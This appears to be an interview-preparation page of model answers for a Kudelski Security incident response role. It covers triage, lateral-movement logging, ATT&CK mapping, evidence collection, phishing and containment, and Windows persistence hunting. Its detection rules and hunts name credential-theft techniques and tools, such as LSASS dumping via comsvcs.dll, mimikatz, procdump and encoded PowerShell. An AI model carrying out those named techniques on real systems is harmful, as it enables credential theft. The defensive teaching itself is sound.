Real Interview Questions for the Cybersecurity Engineer at Kudelski
NewInterview Q&A
Q&A-1Walk me through the incident response lifecycle and where an IR engineer adds the most value?
Reported in Kudelski Security Incident Response Engineer Interview Questions ...
The 90-second answer
I use NIST SP 800-61 Rev. 2 as the spine: Preparation, Detection and Analysis, Containment, Eradication, Recovery, and Post-Incident Activity. SANS PICERL splits containment and eradication differently, but the work is the same. An IR engineer adds the most value in Detection and Analysis and in Containment, because those two phases set the blast radius for everything after them. A fast, wrong containment either lets the attacker keep moving or takes a client system offline for no reason. Eradication is where the second most value sits, since missed persistence is what turns a closed ticket into a repeat incident 30 days later.
At Kudelski Security that matters more than at a single-company SOC. We work across client estates under retainer SLAs, often without prior knowledge of a custom OT or media workflow. The engineer has to scope from partial telemetry, decide what can be isolated without breaking a broadcast or manufacturing process, and produce evidence a client, an insurer, or law enforcement can actually use.
| Phase | Question the engineer answers | Artefact that proves it happened |
|---|---|---|
| Preparation | Do we have authority, contacts, and snapshots before we need them? | Retainer runbook, pre-approved isolation list, legal contact tree |
| Detection and Analysis | Is this real, how did it get in, and what else did it touch? | Scoped host and identity list, initial access vector, timeline |
| Containment | What do we cut now, and what stays up under watch? | Isolated hosts, disabled accounts, blocked indicators, business impact note |
| Eradication | What persistence survives a reboot and a password reset? | Removed scheduled tasks, services, web shells, rogue accounts, hunt results |
| Recovery | When do we bring systems back, and what do we watch first? | Staged return plan, enhanced monitoring for 7 to 14 days |
| Post-Incident | What detection or process gap let this happen? | Timeline, root cause, detection backlog items with owners |
Detection and Analysis: where scoping wins or loses
Triage is not reading the alert. It is deciding, within the first hour, whether the alert is a true positive, which identities and hosts are in scope, and whether the initial access was phishing, an exposed service, or a compromised vendor account. I start from the alert host and pivot on three things: authentication logs for the accounts that touched it, process and script execution around the first malicious timestamp, and outbound connections in the preceding 72 hours. That pivot usually produces the scoping list. Without it, teams contain the alerting host, declare success, and miss the second host the attacker reached through a valid admin token.
A concrete hunt I run during scoping, in KQL for Microsoft Sentinel tenants, looks for the pattern of a new service or scheduled task created by an account that rarely creates them:
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType in ("ServiceCreated", "ScheduledTaskCreated")
| where InitiatingProcessAccountName !in~ ("svc-patch", "svc-deploy")
| summarize Count = count(), Hosts = dcount(DeviceName) by InitiatingProcessAccountName, ActionType
| where Count < 50
| sort by Count descThe point is not the query. It is that scoping ends with a number, for example 14 hosts and 3 service accounts, rather than a feeling. That number drives containment and tells the client what to expect.
Containment: a business decision with a security cost
Containment has two modes. Short-term containment stops the bleeding: isolate the host, disable the account, block the command and control domain at the proxy. Long-term containment keeps the system running under observation while we hunt, which suits a system that cannot go dark, such as a playout chain or a production line controller. Choosing between them needs the client on the call, with the trade-off stated plainly. Isolating a domain controller stops lateral movement and also stops authentication for the site. I have seen teams skip that conversation and get overruled mid-incident, which costs an hour and the client's trust.
Failure modes here are specific. Containing by IP address alone fails when the attacker is inside a cloud tenant and rotates addresses. Disabling an account fails when the attacker created a second account or a valid API key during the dwell period. That is why containment output lists identities and persistence mechanisms, not just hosts.
Eradication and Recovery: where repeat incidents come from
Eradication means hunting for the things that survive a rebuild of the first host: new local admins, OAuth consent grants, mailbox forwarding rules, registry run keys, and modified golden images. Recovery then returns systems in stages, with the previously compromised identity under step-up authentication and the restored host on enhanced logging. If a client wants everything back in four hours, the engineer pushes back with the dwell time evidence. Hypothetical but typical: if the attacker was present for 21 days, a four-hour rebuild that only wipes the alerting host has a high chance of restoring the attacker's access along with the business service.
Post-Incident: the phase clients underfund
Lessons learned is where the engineer converts one incident into coverage for the next. Each incident should leave behind at least one detection, one hardening change, or one runbook fix, owned and dated. At a managed SOC that also means feeding the threat intel and detection engineering teams the exact log source that was missing, because "we had no EDR on that server segment" is a finding, not a footnote. If that backlog item has no owner, the same initial access vector will produce the same incident next quarter, and the lifecycle will have been theatre.
Curated: · Written: · Reviewed:
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-2What is the difference between an indicator of compromise and an indicator of attack, and why does it matter operationally?
Reported in Kudelski Security Incident Response Engineer Interview Questions ...
The 90-second answer
An indicator of compromise (IoC) is retrospective evidence that a compromise has already happened. A file hash, a command-and-control domain, a registry run key, a malicious user account. You find it in logs or on disk after the fact, and it tells you where to look and what to remove.
An indicator of attack (IoA) is predictive. It describes behaviour or a technique that precedes or accompanies an attack, before you can prove success. Encoded PowerShell spawning from Office, a process tree that matches a known loader pattern, repeated failed MFA followed by a token replay attempt. It is usually mapped to a MITRE ATT&CK technique, and it lets you detect and block earlier in the chain.
Operationally the difference decides your next action. IoCs drive scoping, eradication and retro-hunting. IoAs drive detection engineering and pre-emptive blocking. Confusing them wastes the first hours of an incident: hunting only for known IoCs misses a new variant, while treating every IoA as a confirmed compromise floods the queue with false positives.
| IoC | IoA | |
|---|---|---|
| Timing | After execution or persistence | During or before execution |
| Example | SHA-256 of a dropped DLL, C2 IP 203.0.113.44 | powershell -enc launched by WINWORD.EXE, LSASS memory access by a non-system process |
| Source | EDR, disk image, proxy, threat intel feed | Behavioural analytics, Sigma or YARA rule, ATT&CK mapping |
| Primary action | Hunt, isolate, eradicate, close the ticket | Alert, block, hunt for the technique across the estate |
| Shelf life | Short. Attackers rotate hashes and domains in days | Longer. Techniques change more slowly, but still need tuning |
| Risk if misused | Missed scope if the variant changed one byte | Alert fatigue if the behaviour is also used by admins |
Worked trace: same incident, two lenses
| Time | Observation | Classification | Action |
|---|---|---|---|
| 09:14 | WINWORD.EXE spawns powershell -enc with a 4 KB base64 blob | IoA: T1059.001 PowerShell, T1204.002 Malicious File | EDR blocks the child process, SOC opens a case, hunts for the same parent-child pair |
| 09:15 | PowerShell contacts cdn-update.example.net (newly registered, 2 days old) | IoA plus weak IoC: suspicious domain age and rare DNS | Proxy sinkholes the domain, hunt for other hosts resolving it |
| 09:22 | On a second host the block did not fire. A DLL C:\\Users\\Public\\upd.dll is present, hash matches a feed entry from yesterday | IoC: confirmed file artefact | Isolate host, collect memory, start eradication and credential reset |
| 09:40 | Hunt finds the DLL hash on 3 hosts, the PowerShell pattern on 11 hosts, 8 of which have no DLL | IoC defines confirmed scope (3). IoA defines possible exposure (11) | Treat 3 as compromised, 8 as hunted and monitored, do not declare all 11 breached |
That last row is the operational point. If you report only IoCs, you under-scope. If you report only IoAs, you over-scope and burn client trust.
Turning an IoA into a detection
A useful IoA is written as a rule with a clear false-positive budget, not as a vague behaviour. In Sigma form:
title: Office Spawns Encoded PowerShell
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\\WINWORD.EXE'
Image|endswith: '\\powershell.exe'
CommandLine|contains: ' -enc '
filter_legit:
CommandLine|contains: 'IT-Approved-Script'
condition: selection and not filter_legit
level: high
tags:
- attack.execution
- attack.t1059.001In a Kudelski-style managed SOC I would ship that with the expected volume. Say the rule fires 40 times a day across a 5,000 endpoint estate, 35 of them from one finance macro that IT owns. The answer is not to disable the rule. It is to add the filter, keep the alert for the other 5, and review the macro with the client, because a legitimate macro that launches encoded PowerShell is itself a risk.
Failure modes I watch for
IoCs expire. A hash from a feed is a starting point for a retro-hunt, not a permanent blocklist entry. I timestamp every IoC with first seen, last seen and source, and I re-hunt when intel updates. Stale IoCs create noise and, worse, a false sense of closure.
IoAs over-fire on admin tooling. PsExec, Mimikatz-style credential access tests, and encoded scripts are used by red teams and by system administrators. Without allowlists tied to change tickets and service accounts, the SOC learns to ignore the alert that matters.
The two also need different owners. Threat intel curates IoCs and their confidence. Detection engineering owns IoAs and their tuning. Incident response consumes both, but should never be asked to invent an IoA during a live case. If the technique is not already in a rule, that gap goes into the post-incident backlog with the trace above as evidence.
So in an interview I would put it this way: IoCs answer "what do we clean up", IoAs answer "what do we stop next". A mature operation tracks both, labels confidence on each, and never lets a feed of hashes substitute for a detection of the technique that delivered them.
Curated: · Written: · Reviewed:
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-3You suspect lateral movement across Windows hosts. Which logs and artifacts do you examine first?
Reported in Kudelski Security Incident Response Engineer Interview Questions ...
The 90-second answer
I start on the destination host, not the source. A successful lateral move leaves a logon on the target that the source may never record cleanly, especially with pass-the-hash or a stolen ticket. I pull the Security log for successful network, remote interactive and new credentials logons, then Sysmon or 4688 process creation on that same host in the same window, then the service, task and WMI logs that show how the code was executed. Only then do I go to the source and the domain controller to explain where the credential came from.
Assumptions I state up front: clocks are NTP synced within a minute, the hosts forward to a SIEM or at least retain 30 days of Security.evtx, and Sysmon is deployed. If 4688 auditing or Sysmon is missing, I say so and fall back to Prefetch, Amcache, USN journal and $MFT timestamps for execution evidence.
| Event | Source log | What it proves |
|---|---|---|
| 4624 LogonType 3, 9, 10 | Security | Network, new credentials or RDP logon succeeded. Check TargetUserName, IpAddress, LogonType and 4672 for admin rights. LogonType 11 is CachedInteractive, a cached local logon, not a remote move. |
| 4625 | Security | Failed logon. A burst across hosts with the same account is spraying or a broken service account. |
| 4648 | Security, source host | Explicit credential logon, typical of runas, PsExec and scheduled tasks using a different account. |
| 4672 | Security | Special privileges assigned, confirms the logon was admin. |
| 4688, Sysmon 1 | Security, Sysmon Operational | Process creation with command line and parent. Parent is the tell: services.exe, wmiprvse.exe, svchost.exe for WinRM, or explorer.exe for RDP. |
| 5140, 5145 | Security | SMB share access. 5145 with \ADMIN$ or \C$ and a service name points to PsExec style movement. |
| 7045, 4697 | System, Security | New service installed. Name, image path and account are often the payload path. |
| 4103, 4104 | PowerShell Operational | Script block logging. Decodes the obfuscated command that 4688 truncates. |
| 5857 to 5861 | WMI-Activity Operational | WMI activity. 5860 is a temporary event consumer registered, 5861 is a permanent event consumer registered. |
| 4768, 4769, 4776 | Security, domain controller | Kerberos TGT request, service ticket and NTLM validation. A 4769 for CIFS or HOSTS from a workstation that never normally requests it, followed by a 4624 on the target, is pass-the-ticket or overpass-the-hash. |
| 4662, 4663 | Security, domain controller | Directory service object access. Useful when the move used LDAP or a GPO change. |
On the destination I look for the execution chain in order. RDP gives 4624 LogonType 10 plus TerminalServices-LocalSessionManager 21 for session logon succeeded, and a process tree under winlogon.exe or dwm.exe. SMB and PsExec give 4624 LogonType 3, 5145 on ADMIN$, then 7045 and a child of services.exe running the dropped binary. WMI and WinRM give 4624 LogonType 3, then wmiprvse.exe or wsmprovhost.exe spawning powershell.exe, rundll32.exe or mshta.exe. Scheduled tasks give TaskScheduler Operational 106 for task registered and 100 for task started, with the task name and author.
Host artifacts confirm what the logs miss when forwarding is delayed. Prefetch and Amcache show the binary ran and when. The registry Run and RunOnce keys, plus Services keys under HKLM\SYSTEM\CurrentControlSet\Services, show persistence from the service install. RDP bitmap cache, LNK files and Jump Lists show interactive use. USN journal and $MFT show file creation for the dropped payload, often in C:\Windows\Temp, C:\ProgramData or C:\Users\Public. If I suspect credential theft on the source, I check for LSASS access in Sysmon 10, a 4688 for mimikatz, procdump or rundll32 with a comsvcs.dll command line, and 4648 events just before the first 4624 on the target.
// Sentinel / Microsoft Defender for Endpoint style hunt, adjust table names to your tenant
SecurityEvent
| where EventID in (4624, 4625, 4648, 4672, 5145)
| where LogonType in (3, 9, 10) or EventID != 4624
| project TimeGenerated, Computer, Account, IpAddress, LogonType, EventID, TargetUserName, WorkstationName
| sort by TimeGenerated ascIn Splunk the same idea is index=wineventlog EventCode IN (4624,4688,5145,7045) earliest=-7d | stats count by src_ip, TargetUserName, Computer, LogonType. I pivot on the pair of account and source IP, not on a single host, because lateral movement is a graph.
Failure modes I name in the interview: 4688 command lines are truncated and PowerShell -enc payloads need 4104 to decode. Sysmon 1 and 3 are absent on many builds, so I do not claim a process tree I cannot show. Event logs wrap on a busy server, so a 4624 from three weeks ago may be gone and I rely on the SIEM copy. Clock skew between a workstation and the DC breaks correlation, so I check TimeGenerated against the DC 4769 before I assert sequence. LogonType 3 also fires for legitimate admin shares, backup agents and SCCM, so I require the process parent or service install before I call it malicious.
I close by scoping: every host that shows the same account, source IP and LogonType in the window is a candidate for imaging, and every host that only shows 4625 is a failed attempt worth preserving for the timeline.
Curated: · Written: · Reviewed:
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-4How do you use MITRE ATT&CK during an active investigation?
Reported in Kudelski Security Incident Response Engineer Interview Questions ...
The 90-second answer
I use ATT&CK as a working hypothesis board during the investigation, not as a label to stick on the final report. When an alert lands I map the observed evidence to technique IDs, ask what technique would logically come next in that tactic chain, and hunt for it before the actor does it. That turns a single PowerShell alert into a search for credential access, lateral movement and persistence on the hosts that alert did not touch.
The loop is: observe, map, hypothesise, hunt, contain, then re-map as new evidence arrives.
Worked trace from a live case
Assume a Kudelski client reports an EDR alert at 02:14 on a finance workstation: encoded PowerShell spawning from Outlook, followed by access to LSASS memory and outbound SMB to two servers. I would log it like this in the case notes, with the ATT&CK version pinned, for example Enterprise v15.1:
| Time | Evidence | ATT&CK mapping | Next hunt question |
|---|---|---|---|
| 02:14 | powershell -enc from OUTLOOK.EXE, parent chain unusual | T1059.001 PowerShell | Which other hosts ran encoded PowerShell from Office in the last 7 days? |
| 02:16 | Process opened lsass.exe with PROCESS_VM_READ | T1003.001 OS Credential Dumping: LSASS Memory | Any other LSASS access, and which accounts were on those hosts? |
| 02:19 | SMB logons to SRV-APP-02 and SRV-DB-01 with a domain account | T1021.002 Remote Services: SMB/Windows Admin Shares, T1078 Valid Accounts | Did that account log on interactively anywhere else, and what shares were touched? |
| 02:22 | Large outbound HTTPS POST to an uncommon ASN | T1048.003 Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol, or T1071.001 if beaconing | Is the destination in proxy logs for other hosts, and what volume left? |
That mapping does three practical things. First, it forces a search for the missing links. If I see T1003.001, I do not wait for a second alert before checking for T1021.002 and T1558 Kerberoasting on the domain controllers. Second, it exposes telemetry gaps. If I hypothesise T1059.003 Windows Command Shell and the server tier only forwards Sysmon Event ID 1 for workstations, I have found a blind spot to close or to state as a limitation in the client update. Third, it prioritises containment. Valid Accounts (T1078) plus LSASS dumping means I disable the account and force a password reset before I rebuild the workstation, because rebuilding one host does nothing if the credential is already harvested.
Where it helps and where it misleads
ATT&CK Navigator layers are useful for this. I export a layer for the client showing observed techniques in red, hypothesised but not yet seen in amber, and techniques we hunted and did not find in grey. That gives the client a coverage picture they can act on, rather than a list of IOCs that expires in a week.
The failure mode I watch for is technique ambiguity. T1059.001 covers a huge amount of legitimate admin activity and a huge amount of intrusion activity. Mapping an alert to PowerShell tells me nothing until I add context: parent process, command line, user, and whether the host is a jump server. The same applies to T1078. A service account logging on via SMB at 02:00 may be a backup job. I check the baseline for that account before I call it lateral movement.
A second failure mode is overfitting to known actor TTPs. ATT&CK describes what has been observed in the wild. A new loader that uses a technique in an unusual order, or a technique with no public reporting yet, will not be in my hunt list. That is why I pair the framework with behaviour I would hunt anyway: Office spawning a shell, LSASS access by a non-security tool, and mass reads from a file share. If the behaviour is present and ATT&CK has no clean label for it, I record it as observed and unmapped rather than forcing a fit.
A third limit is that ATT&CK is not a timeline and not a detection product. It does not tell me the order events happened in, and mapping a technique does not mean my SIEM can detect it. I keep the case timeline separate, in UTC, with host, user and source log for each entry, and I test each hunt query against a known positive before I claim coverage. A query that returns zero results because the field name changed after a Splunk or Sentinel upgrade is a false negative I would otherwise report as clean.
In a client update I would say: here is what we have confirmed, here is what we hypothesised and hunted, here is what we did not find, and here is the telemetry we still lack. That is the value of ATT&CK mid-incident. It keeps the investigation from stopping at the first host that alerted.
Curated: · Written: · Reviewed:
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-5Explain the order of volatility and how it shapes evidence collection?
Reported in Kudelski Security Incident Response Engineer Interview Questions ...
The 90-second answer
Order of volatility, from RFC 3227, is the sequence in which evidence disappears if you do nothing. Registers and CPU cache go first, then RAM, network connections, running processes, disk, logs, and archival media last. Collection has to run in that order, because the act of collecting, and especially shutting a machine down, destroys the top of the list.
In practice that means I treat a live host as a crime scene that is actively decaying. I do not pull the plug, reboot, or run a clean-up tool first. I capture volatile state in memory, hash it, and only then move to disk. If the host is already off, I accept that the top tiers are gone and document that gap for legal and for the investigation, rather than pretending a disk image is complete.
| Tier | Example | Lost when | Capture method |
|---|---|---|---|
| Registers, cache | CPU state, cache contents | Power loss, process exit | Memory dump tooling, rarely recoverable directly |
| RAM | Keys, decrypted buffers, injected code, fileless malware | Reboot, power loss, process kill | Full memory image with AVML or LiME, hashed on capture |
| Network state | Live connections, ARP cache, DNS cache | Connection close, reboot | ss, ip neigh, packet capture if still running |
| Running processes | Process list, open handles, loaded modules | Process exit, reboot | ps, /proc snapshot, handle enumeration |
| Disk | Files, registry, deleted file slack | Overwrite, reboot may clear temp files | Forensic image through a write blocker |
| Logs and archives | Syslog, cloud logs, backups | Rotation, retention expiry | Export with timestamps, preserve original format |
How it shapes a live collection
Assume a Linux server at a Kudelski client site shows outbound connections to an unknown host and a suspicious process with no file on disk. That pattern is exactly what volatility ordering is for. The process and its connections may exist only in RAM.
I start with time and identity, because every later timestamp depends on it. I record UTC from a trusted source, hostname, and who authorised the collection. Then I capture network state before anything closes, then process state, then RAM. Disk comes after, and I image it in a way that does not alter it.
# Linux live triage, run from trusted media, output to external evidence disk
date -u +%FT%TZ; hostname; id
ss -tunap; ip neigh show
ps auxww; ls -l /proc/*/exe 2>/dev/null
# Memory capture (AVML example), hash immediately
sudo avml /evidence/mem.lime
sha256sum /evidence/mem.lime | tee /evidence/mem.lime.sha256A 16 GB RAM image at roughly 500 MB/s takes about 30 seconds to write, plus hashing time. That delay is worth it. If I imaged the disk first, which for a 500 GB drive can take hours, the malicious process could exit, the connection could close, and the RAM evidence would be gone. The order is a trade-off between speed of decay and cost of capture, and volatile data always wins that trade-off.
Failure modes I watch for
Running my own tools from the compromised disk is a classic error. A rootkit can hide processes from ps or replace binaries, so tools come from known-good media and I cross-check /proc against tool output. A second error is collecting in the wrong order under pressure. An analyst who runs an antivirus scan first may quarantine the malware and destroy the in-memory copy, or a reboot to install a tool wipes RAM entirely. A third is breaking chain of custody. Every image gets a SHA-256 hash at capture, a write blocker for disk, and a signed log of who handled it and when. Without that, the most volatile evidence is also the easiest for a defence lawyer or an internal review to challenge.
Cloud and containers complicate the classic order. An ephemeral container may be destroyed in minutes, so I prioritise its memory and filesystem snapshot before the orchestrator reschedules it, and I pull logs from the platform control plane in parallel because the container disk may never be the most durable copy. The principle stays the same. Capture what disappears first, prove you did not alter what remains, and write down what you could not capture and why.
Curated: · Written: · Reviewed:
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-6A user reports a suspicious email. Walk me through triaging it as a potential phishing or BEC incident?
Reported in Kudelski Security Incident Response Engineer Interview Questions ...
The 90-second answer
I treat the report as a possible compromise until I can rule it out, and I preserve evidence before I investigate. I tell the user to stop interacting with the message, not to click links or reply, and to forward the original as an attachment, ideally as a .eml, to the security mailbox. A screenshot or a forwarded copy strips the headers I need. I log the ticket with the user, time of receipt, and whether they clicked, opened an attachment, entered credentials, or replied.
Then I work in parallel on three questions: did anyone else get it, did this user act on it, and does the infrastructure point to a known campaign. I pull the gateway and mail flow logs for the message ID, search for the sender domain, URL, and attachment hash across the tenant, and check whether the message was delivered to other mailboxes. In Microsoft 365 that is a message trace and a tenant-wide search for the sender or URL. In Google Workspace I use the admin audit and search logs. If the campaign hit finance, I also check for thread hijacking, where a compromised external account replies inside a real conversation.
For BEC I compare the display name, envelope sender, Reply-To, and the authenticated domain. A display name that matches a CFO or a supplier, paired with a lookalike domain or a Reply-To that goes elsewhere, is the classic pattern. I check SPF, DKIM, and DMARC results in the headers. A fail on DMARC from a lookalike domain is strong evidence. A pass from a compromised legitimate domain is also common in BEC, so a pass does not clear it.
If the user clicked or entered credentials, containment comes before deep analysis. I disable or reset the account, revoke active sessions and refresh tokens, review mailbox forwarding rules and OAuth consent grants, and check sign-in logs for impossible travel or new inbox rules. If a payment instruction was involved, I contact finance through a known phone number, never the number in the email, and ask them to pause any transfer or bank detail change.
What I check in the headers
I look at the Received chain for the originating IP and the first hop outside our gateway, the Authentication-Results header for SPF, DKIM, and DMARC verdicts, and the Reply-To against the From domain. I also extract every URL and defang them before pasting them into a ticket, so nobody downstream clicks by accident.
import email, re
from email import policy
with open("suspicious.eml", "rb") as f:
msg = email.message_from_binary_file(f, policy=policy.default)
print("Message-ID:", msg["Message-ID"])
print("From:", msg["From"])
print("Reply-To:", msg["Reply-To"])
print("Authentication-Results:", msg["Authentication-Results"])
urls = set()
parts = msg.walk() if msg.is_multipart() else [msg]
for part in parts:
if part.get_content_type() in ("text/plain", "text/html"):
try:
body = part.get_content()
except Exception:
continue
urls.update(re.findall(r"https?://[^\s\"'<>]+", body))
print("URLs:", sorted(urls))I run that in an isolated analysis VM, never on the reporting workstation, and I feed the extracted URLs and hashes to the sandbox and threat intel platform rather than visiting them directly.
Worked trace
Hypothetical figures for illustration. The lookalike domain below is invented for the example.
| Time | Action | Finding that changes the call |
|---|---|---|
| 09:02 | User reports email, forwards .eml | User opened it, did not click |
| 09:10 | Message trace on Message-ID | Delivered to 14 users in finance and procurement |
| 09:18 | Header review | From shows CFO name, domain is acme-group-secure[.]example, DMARC fail, Reply-To is a personal mailbox |
| 09:25 | Tenant search for domain and URL | 3 users clicked, 1 entered credentials on a cloned SSO page |
| 09:31 | Containment | Sessions revoked for the 3 clickers, password reset and token revocation for the credential entry |
| 09:45 | Mailbox review | One forwarding rule created at 09:27, removed, mail searched for auto-deleted items |
| 10:15 | Finance check | No payment change made, supplier bank detail email was part of the same thread |
That trace shows why the blast radius search matters. A single user report turned into 14 deliveries and one credential theft. If I had only looked at the one mailbox, I would have missed the other clickers.
Alternatives and when I deviate
Detonation is not automatic. If the sandbox queue is backed up, or the attachment is a credential harvesting page with no payload, I may block the URL and domain at the gateway and proxy, purge the message tenant-wide, and hunt for clicks, without waiting for a detonation verdict. That trades forensic detail for speed, and it is the right call when the user already entered credentials, because containment cannot wait. If nobody clicked and the message is still in quarantine, I detonate first, since the verdict decides whether I purge or release.
For containment I also choose between disabling the account and forcing a step-up reset. Disabling is faster and safer for a confirmed credential theft, but it blocks a finance user during close. If the sign-in logs show no successful authentication from the phishing page and no new mailbox rules, I may keep the account enabled, revoke sessions, and require a password reset plus MFA re-registration at next sign-in. I document which path I took and why, because the next analyst needs to know whether the account was fully disabled.
Failure modes I watch for
Deleting the message before export loses the Received chain and the original Message-ID, which makes the tenant-wide search much harder. Asking the user to click the link again to show me what happens contaminates their machine and can trigger the payload a second time. Resetting a password without revoking refresh tokens leaves an attacker with a valid session, especially after a real-time phishing proxy captures the session cookie. I also check for OAuth consent phishing, where the email asks the user to grant an app access to their mailbox. That grant survives a password reset, so I review enterprise app consent grants for the affected users.
I close the ticket with the IOCs, the list of affected users, the containment actions, and a hunt query for the sender domain, URL, and hash across mail, proxy, and endpoint logs for the previous 30 days. If finance was targeted, I recommend a callback verification step for bank detail changes, because the technical controls alone do not stop a well written BEC email sent from a compromised supplier account.
Curated: · Written: · Reviewed:
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-7Contrast short-term and long-term containment. When would you choose each?
Reported in Kudelski Security Incident Response Engineer Interview Questions ...
The 90-second answer
Short-term containment buys time. You stop the spread in minutes to hours while you still do not know the full scope, and you accept that the attacker may still be present in a controlled way. Long-term containment removes the attacker and closes the path they used, then proves they are gone before you return systems to normal. I choose short-term when scope is unknown, evidence is fragile, or the affected system is business critical and cannot be rebuilt yet. I choose long-term when scope is bounded, persistence is confirmed, or short-term controls have already been bypassed once.
Short-term containment
The goal is to limit blast radius without destroying evidence or tipping off the actor prematurely. Typical actions: isolate a host from the network while keeping it powered on, disable a compromised account, block a command-and-control domain or IP at the proxy and firewall, kill a malicious process, and increase logging on the affected segment. The host stays in a quarantine VLAN so memory and disk can be captured later.
A concrete example is EDR network isolation. The endpoint stops talking to peers and to the internet, but the agent still reports to the console and the disk is untouched.
# Isolate host by ID, keep it powered on for later imaging
curl -s -X POST "$EDR_API/hosts/$HOST_ID/isolate" \
-H "Authorization: Bearer $TOKEN" \
-d '{"reason":"suspected_ransomware_staging","ticket":"IR-2417"}'That is reversible in one call. That reversibility is the point. You can undo it if the alert was a false positive, and you have not wiped the evidence.
Long-term containment
The goal is eradication and verified removal. You rebuild from a known good image, rotate every credential that touched the host, patch or remove the exploited service, hunt for the same technique across the fleet, and monitor for re-entry for a defined window, often 14 to 30 days for a confirmed intrusion. The system does not return to production until the hunt comes back clean and the entry point is closed.
| Dimension | Short-term | Long-term |
|---|---|---|
| Time horizon | Minutes to hours | Days to weeks |
| Scope assumption | Unknown, assume wider spread | Bounded and hunted |
| Evidence | Preserve live state, avoid reboot | Image first, then rebuild |
| Business impact | Low, targeted isolation | Higher, rebuild and downtime |
| Attacker state | Possibly still present, contained | Eradicated and monitored |
| Exit criteria | Spread stopped, investigation can proceed | Hunt clean, patch applied, credentials rotated |
How I decide
Three triggers push me from short to long. First, the same IOC appears on a second host after isolation, which means the initial containment missed the spread path. Second, persistence mechanisms show up, such as a new local admin, a scheduled task, or a modified service, because killing a process will not remove them. Third, the entry point is still open, for example an unpatched VPN appliance, so re-entry is a matter of time.
Failure modes I watch for
Short-term containment that drifts becomes a permanent quarantine nobody owns. The host sits isolated for weeks, alerts pile up, and the business starts routing around it with a personal hotspot or a shared account. I put an expiry on every short-term action, usually 72 hours, after which the incident commander must either extend it with a written reason or move to long-term.
Long-term containment done too early has its own cost. Rebuilding before you image loses the memory artefacts that show what was staged, and a loud rebuild can alert the actor to burn their access and switch to a backup channel you have not found yet. That is why the image and the fleet hunt come before the rebuild, even when the business is pressing for a fast return.
In practice most incidents use both in sequence. Isolate and block in the first hour, image and hunt in the first day, rebuild and rotate in the following days, then keep enhanced monitoring until the window closes. The mistake is treating short-term as the end state, or jumping to a rebuild before you know what you are rebuilding away from.
Curated: · Written: · Reviewed:
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-8What are common Windows persistence mechanisms, and how do you hunt for them?
Reported in Kudelski Security Incident Response Engineer Interview Questions ...
The 90-second answer
Persistence on Windows is mostly abuse of autostart extensibility points that legitimate software also uses. I hunt by inventorying those locations against a known-good baseline, then correlating each entry with process creation telemetry to see what actually launched it, when, and as which user. The locations I check first are the Registry Run and RunOnce keys, scheduled tasks, services, the Startup folders, and WMI event subscriptions. If an entry is unsigned, points to a user-writable path, or was created shortly after an initial access alert, I treat it as suspect until I can explain it.
How the main mechanisms work
| Mechanism | Where it lives | MITRE ATT&CK | What execution looks like |
|---|---|---|---|
| Registry Run / RunOnce | HKCU\Software\Microsoft\Windows\CurrentVersion\Run, same under HKLM | T1547.001 | Explorer or Winlogon launches the value at logon |
| Scheduled task | C:\Windows\System32\Tasks, registry under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache | T1053.005 | Task Scheduler service runs it on a trigger, often at logon or every few minutes |
| Service | HKLM\SYSTEM\CurrentControlSet\Services, binary path in the registry | T1543.003 | services.exe starts it at boot or on demand, often as SYSTEM |
| Startup folder | %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup, plus the all-users folder | T1547.001 | Explorer launches shortcuts at logon |
| WMI event subscription | root\subscription namespace, __EventFilter, __EventConsumer, __FilterToConsumerBinding | T1546.003 | WmiPrvSE.exe fires the consumer when the filter condition matches |
| Logon script / GPO | Group Policy scripts, HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts | T1037 | Winlogon runs the script at logon |
Attackers favour Run keys and scheduled tasks because they need no admin rights in the HKCU case, survive reboot, and blend in with updaters and collaboration tools. Services and WMI subscriptions need more privilege but run as SYSTEM and are less visible to a casual user. COM hijacking and DLL sideloading are persistence-adjacent: the binary is legitimate, the loaded component is not, so file inventory alone misses them.
Hunting, concretely
I start with Sysmon if it is deployed, because it records the creation events I need: Event ID 11 for FileCreate, 12 and 13 for Registry object create and value set, 1 for ProcessCreate, and 19 to 21 for WMI activity. Without Sysmon I fall back to Security event 4688 with command-line logging, plus Autoruns output collected from the host.
A quick PowerShell sweep for the two highest-yield locations:
# Run keys, both hives
Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -ErrorAction SilentlyContinue |
Select-Object -ExpandProperty PSObject -ErrorAction SilentlyContinue
Get-CimInstance Win32_StartupCommand |
Select-Object Name, Command, Location, User
# Scheduled tasks with their actions and authors
Get-ScheduledTask | Where-Object State -ne 'Disabled' | ForEach-Object {
$info = $_ | Get-ScheduledTaskInfo
[PSCustomObject]@{
TaskName = $_.TaskName
Author = $_.Author
LastRun = $info.LastRunTime
Action = ($_.Actions | ForEach-Object { $_.Execute + ' ' + $_.Arguments }) -join '; '
}
} | Format-Table -AutoSizeThen I diff that output against baseline. The checks that separate malware from software are boring and reliable: is the binary signed and does the signer match the vendor in the task author field, does the path sit in AppData, Temp, ProgramData or PerfLogs where users can write, does the command line contain encoded PowerShell, rundll32, mshta or regsvr32 with an unusual argument, and was the entry created within minutes of a phishing click or a remote access alert.
For WMI, which file-based tools miss, I query the subscription namespace directly:
Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class __EventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBindingA filter with a timer instruction or a process creation query, bound to a CommandLineEventConsumer or ActiveScriptEventConsumer, is rarely legitimate on a workstation. I have seen exactly that pattern used to relaunch a loader every 90 seconds after the original process was killed.
Failure modes and limits
